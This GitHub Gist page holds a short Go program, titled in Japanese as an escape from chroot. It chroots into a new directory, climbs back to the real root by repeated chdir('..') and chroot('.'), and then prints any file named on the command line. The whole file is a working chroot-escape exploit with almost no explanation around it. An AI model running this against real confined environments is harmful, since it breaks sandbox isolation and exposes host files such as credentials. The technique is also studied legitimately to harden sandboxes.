Last active
October 23, 2020 03:52
-
-
Save hayajo/a85cb63d357b78ae4a0cef7b76a0961c to your computer and use it in GitHub Desktop.
chrootからの脱出
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"io/ioutil" | |
"os" | |
"syscall" | |
) | |
func main() { | |
dir := fmt.Sprintf("chroot-escape.%d", os.Getpid()) | |
if len(os.Args[1:]) == 0 { | |
os.Exit(1) | |
} | |
must(os.Mkdir(dir, 0755)) | |
must(syscall.Chroot(dir)) | |
wd, err := os.Getwd() | |
must(err) | |
fmt.Printf("escape from chrooted %s\n", wd) | |
// escape | |
// must(syscall.Chroot("../../../../../../../../../../../../../../../../")) | |
for i := 0; ; i++ { | |
wd, _ := os.Getwd() | |
if wd == "/" || i > 255 { | |
break | |
} | |
syscall.Chdir("..") | |
} | |
must(syscall.Chroot(".")) | |
data, err := ioutil.ReadFile(os.Args[1]) | |
must(err) | |
fmt.Fprint(os.Stdout, string(data)) | |
} | |
func must(err error) { | |
if err != nil { | |
panic(err) | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment